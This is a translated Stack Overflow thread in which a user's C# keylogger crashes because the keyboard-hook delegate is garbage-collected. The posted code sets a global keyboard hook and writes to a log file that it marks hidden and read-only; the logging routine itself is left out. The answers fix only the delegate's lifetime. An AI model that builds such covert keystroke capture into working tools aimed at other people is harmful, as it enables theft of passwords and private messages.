【问题标题】:Keylogger program crashes键盘记录程序崩溃
【发布时间】:2012-02-11 11:32:46
【问题描述】:

我一直在用 C#、windows 窗体编写键盘记录器,但我在某些方面遇到了困难。当我运行我的代码时,它工作正常并记录了 20-25 次击键,但之后程序突然崩溃,这些是显示的错误消息:(第一个完全难倒我)

1. 对“karan_keylogger!karan_keylogger.Form1+LowLevelKeyboardProc::Invoke”类型的垃圾收集委托进行了回调。这可能会导致应用程序崩溃、损坏和数据丢失。将委托传递给非托管代码时,托管应用程序必须使它们保持活动状态,直到保证它们永远不会被调用。

2.然后它显示'Object Reference not set to an instance of the object.(我熟悉这个)

代码如下:

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Security;
using System.Security.AccessControl;
using System.Security.Principal;
using System.Runtime.InteropServices;
using System.Timers;
using System.Diagnostics;


namespace karan_keylogger
{
    public partial class Form1 : Form
    {
        KeysConverter kc;
        private delegate IntPtr LowLevelKeyboardProc(int nc,IntPtr wparam,IntPtr lparam);
        //private static LowLevelKeyboardProc keyhook = detect;
        StreamWriter sw;
        private const int WM_KEYDOWN = 0x0100;
        bool shiftDown, inBetween, numLockPressed;
        string currWindow, prevWindow,path;
        IntPtr x;
        [DllImport("User32.dll")]
        public static extern int GetWindowText(int hwnd, StringBuilder s, int nMaxCount);
        [DllImport("User32.dll")]
        public static extern int GetForegroundWindow();
        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr SetWindowsHookEx(int idHook,LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool UnhookWindowsHookEx(IntPtr hhk);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
            IntPtr wParam, IntPtr lParam);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr GetModuleHandle(string lpModuleName);

        public Form1()
        {
            InitializeComponent();
            kc = new KeysConverter();
            path="E:\\data.txt";
            shiftDown = false;
            //shiftUp = true;
            inBetween = false;
            numLockPressed = false;
            currWindow = getTitle();
            prevWindow = currWindow;
            File.SetAttributes(path,FileAttributes.Normal);
            sw = new StreamWriter(path, true);
            sw.AutoFlush = true;
            sw.WriteLine("Time: "+DateTime.Now.ToShortTimeString()+" Date: "+DateTime.Now.ToShortDateString()+" Window: "+currWindow+"-   ");
            File.SetAttributes(path, FileAttributes.Hidden | FileAttributes.ReadOnly);
            LowLevelKeyboardProc keyhook = new LowLevelKeyboardProc(detect);
            Process curProcess = Process.GetCurrentProcess();
            ProcessModule curModule = curProcess.MainModule;
            //private delegate IntPtr LowLevelKeyboardProc(int nc,IntPtr wparam,IntPtr lparam);
            x = SetWindowsHookEx(13, keyhook, GetModuleHandle(curModule.ModuleName),0);
       }

        private void Form1_FormClosing(object sender, FormClosingEventArgs e)
        {
            UnhookWindowsHookEx(x);
        }
        private string getTitle()
        {
            int handle = GetForegroundWindow();
            StringBuilder sb = new StringBuilder(1000);
            GetWindowText(handle, sb, 1000);
            string winText = sb.ToString();
            return winText;
        }

        private IntPtr detect(int ncode, IntPtr wparam, IntPtr lparam)
        {
            // logic for keystroke storing
            return CallNextHookEx(x, ncode, wparam, lparam);
        }
    }
}

任何帮助将不胜感激,这是一个宠物项目!..

【问题讨论】:

  • 你根本没有异常处理。添加它。
  • 是的,但是我应该在代码中的哪个位置添加它?上面提到的错误显示在 Program.cs 文件的行中:Application.Run(new Form1())
  • 显然构造函数有很多代码,调用构造函数的行抛出异常。
  • "...这是一个宠物项目!.." 您正在监控宠物的键盘活动? (对不起,我无法抗拒。)

标签: c# winforms keylogger


【解决方案1】:

正如错误消息所说,非托管代码不会使托管资源保持活动状态。您正在创建一个局部变量 keyhook 并将其传递给 SetWindowHookEx(即传入非托管代码)。

然后退出构造函数,keyhook 变量超出范围,从代码的角度来看,它不再在任何地方引用,这意味着它已准备好进行垃圾回收。但非托管代码将继续使用它。当垃圾收集器启动时,委托会丢失,您将收到错误消息。

只需将您的委托声明为类成员,而不是局部变量。

private LowLevelKeyboardProc keyhook;

【讨论】:

    【解决方案2】:

    让 keyhook 成为表单的成员,而不是构造函数中的本地变量

    public partial class Form1: Form      
    { 
       LowLevelKeyboardProc keyhook;
    
       public Form1()
       {
           keyhook = new LowLevelKeyboardProc(detect);
       }
    
    }
    

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2021-11-10
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      相关资源
      最近更新 更多